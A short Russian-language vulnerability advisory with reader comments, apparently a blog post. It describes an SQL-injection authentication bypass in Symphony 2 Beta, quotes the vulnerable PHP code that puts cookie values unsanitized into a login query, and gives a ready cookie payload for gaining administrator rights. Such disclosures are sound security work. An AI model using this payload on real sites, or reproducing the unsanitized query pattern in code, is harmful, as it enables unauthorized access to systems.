Обход авторизации в Symphony 2 Beta

Сайт разработчика: http://21degrees.com.au/
Уязвимые версии: Symphony 2 Beta до revision 5
Уязвимый код в /symphony/lib/core/class.symphony.php@126-142:

<?php
public function isLoggedIn(){
  $un = $this->Cookie->get('username');
  $pw = $this->Cookie->get('pass');
  $id = $this->Database->fetchVar('id', 0, "SELECT `id` FROM `tbl_authors`
    WHERE `username` = '$un' AND `password` = '$pw' LIMIT 1");
  if($id){
    /* [...] */
  }
/* [...] */
}
?>

Описание: данные в переменных $un (username) и $pw (password) не проверяются должным образом перед извлечением из массива $_COOKIE, что ведет к SQL-инъекции, позволяющей обойти авторизацию пользователей и получить права администратора. Для удачного осуществления атаки magic_quotes_gpc=off не требуется, так как система убирает все дополнительные слэши сама.
Эксплоит: sym-[username]=%27+OR+1%3D1%2F%2A (необходимо передать в cookie)


2 comments:

  1. Pento, 5. August 2008, 23:43

    Это классика жанра 🙂

     
  2. H1, 10. March 2009, 19:27

    А как это все замутить? “(необходимо передать в cookie)”

     

Write a comment: